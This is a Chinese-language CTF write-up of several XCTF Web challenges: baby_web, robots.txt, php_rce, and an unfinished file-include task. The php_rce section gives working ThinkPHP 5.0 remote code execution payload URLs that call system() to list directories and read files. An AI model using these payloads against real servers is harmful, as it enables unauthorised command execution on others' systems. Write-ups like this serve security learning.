攻防世界——Web高手区初试
前言
由于放假的原因,好久好久都没有更新了,整个人懒得就离谱,啥也不太想做,所以就停更了好久好久,虽然Kali网络渗透测试课程结束了,但是停课不停学,所以还是得让自己多学一点儿东西,多做一些总结叭
1.baby_web
看题目应该是道签到题,题目提示了 “想想初始页面是哪个”
很自然想到了 index.php,但是访问 index.php 的时候总会跳转到 1.php,所以可以使用Burpsuite 进行抓包(在浏览器设置好代理,然后访问index.php并使用Burpsuite进行抓包):
还有一种方法就是访问两次 index.php,然后F12查看index.php:
在index.php里面也可以拿到flag的
2.Training-WWW-Robots
首先打开题目,可以看到下面的这一串英文:
大致说的就是你将学到robots协议啥啥啥的,然后根据题目所给信息,查看一下robots.txt:
再接下去查看f10.php,就可以得到本题的flag啦
3.php_rce
拿到题目,先看看里面的东西,但是下面这几个链接点进去都是真实的场景,题目本身也没有提示,所以就先看看 ThinkPHP5 还有 V5.0版本是啥,百度发现ThinkPHP框架的V5.0版本是有远程代码执行漏洞的,于是找到跟着漏洞的利用方式就好啦
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=xxxxx(Linux命令)
ls查看文件目录:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
查看上一级目录:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls …/
查看根目录下:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
查看flag:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
4.Web_php_include
(待添加……还没有理解其中原理,等查好资料整理好语言再更新叭)